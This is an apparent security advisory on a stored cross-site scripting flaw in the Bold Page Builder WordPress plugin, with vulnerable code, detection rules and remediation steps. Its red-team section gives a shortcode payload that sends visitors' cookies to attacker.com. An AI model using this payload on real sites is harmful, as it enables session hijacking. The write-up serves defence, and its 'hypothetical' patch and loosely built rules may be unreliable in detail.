CVE-2025-12159

Executive Summary

CVE-2025-12159 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.4.8. The flaw resides in the bt_bb_raw_content shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low
• Threat Level: Medium – Exploitation requires authentication but can affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the bt_bb_raw_content shortcode handler. The plugin fails to sanitize user-supplied attributes (e.g., content or raw_content) before outputting them in the page HTML. An attacker with contributor-level access can create a post or page containing the shortcode with malicious JavaScript in an attribute. When the page is rendered, the script executes in the context of the victim’s browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new post/page with the shortcode [bt_bb_raw_content content="<script>alert('XSS')</script>"].
3. The plugin stores the malicious content in the database.
4. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.4.8):

// In bold-page-builder/shortcodes/raw_content.php
function bt_bb_raw_content_shortcode( $atts, $content ) {
    extract( shortcode_atts( array(
        'content' => ''
    ), $atts ) );
    return '<div class="bt_bb_raw_content">' . $content . '</div>';
}

The $content attribute is directly concatenated into HTML without escaping.

Patched Code (Hypothetical):

function bt_bb_raw_content_shortcode( $atts, $content ) {
    extract( shortcode_atts( array(
        'content' => ''
    ), $atts ) );
    $safe_content = esc_html( $content );
    return '<div class="bt_bb_raw_content">' . $safe_content . '</div>';
}

Using esc_html() would neutralize script tags.

Exploitation & Lab Setup

Red Team

Prerequisites: WordPress instance with Bold Page Builder <= 5.4.8, contributor-level account.

Exploit Steps:

1. Log in as a contributor.
2. Create a new post with the following shortcode:

   [bt_bb_raw_content content="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

3. Publish the post.
4. Send the post URL to a victim (e.g., admin).
5. Victim visits the page, script executes, and cookie is exfiltrated.

Proof-of-Concept (No public exploit available):

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
// Simulate the shortcode injection
var payload = "[bt_bb_raw_content content=\"<script>alert('XSS')</script>\"]";
// In real scenario, this would be submitted via WordPress editor
</script>
</body>
</html>

Blue Team

Detection:

• Monitor for posts/pages containing bt_bb_raw_content shortcode with suspicious attributes.
• Look for <script> tags or event handlers in shortcode parameters.
• Use WAF rules to block requests containing bt_bb_raw_content with script content.

Hunting:

-- SQL query to find malicious shortcodes in WordPress database
SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%bt_bb_raw_content%'
  AND post_content LIKE '%<script%';

Indicators of Compromise (IOCs)

• File: wp-content/plugins/bold-page-builder/shortcodes/raw_content.php (vulnerable file)
• Database: Posts/pages containing [bt_bb_raw_content content="..."] with JavaScript
• Network: Outbound connections to attacker-controlled domains from WordPress admin
• Logs: WordPress audit logs showing creation of posts with bt_bb_raw_content shortcode

Detection Engineering

YARA Rule

rule CVE_2025_12159_Bold_Page_Builder_XSS {
    meta:
        description = "Detects vulnerable Bold Page Builder shortcode usage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12159"
    strings:
        $shortcode = "bt_bb_raw_content"
        $script = /<script[^>]*>/
    condition:
        $shortcode and $script
}

Sigma Rule

title: CVE-2025-12159 - Bold Page Builder Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via bt_bb_raw_content shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "bt_bb_raw_content"
        http.url|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of raw content with safe HTML
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12159 - Bold Page Builder Stored XSS"; flow:to_server,established; content:"bt_bb_raw_content"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Bold Page Builder plugin until a patch is released.
2. Workaround: Use a Web Application Firewall (WAF) to block requests containing bt_bb_raw_content with script tags.
3. Long-term: Replace the plugin with an alternative page builder that is actively maintained.
4. Monitor: Regularly scan WordPress posts for malicious shortcodes using the SQL query above.
5. Update: Watch the WordPress plugin repository for a patched version.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert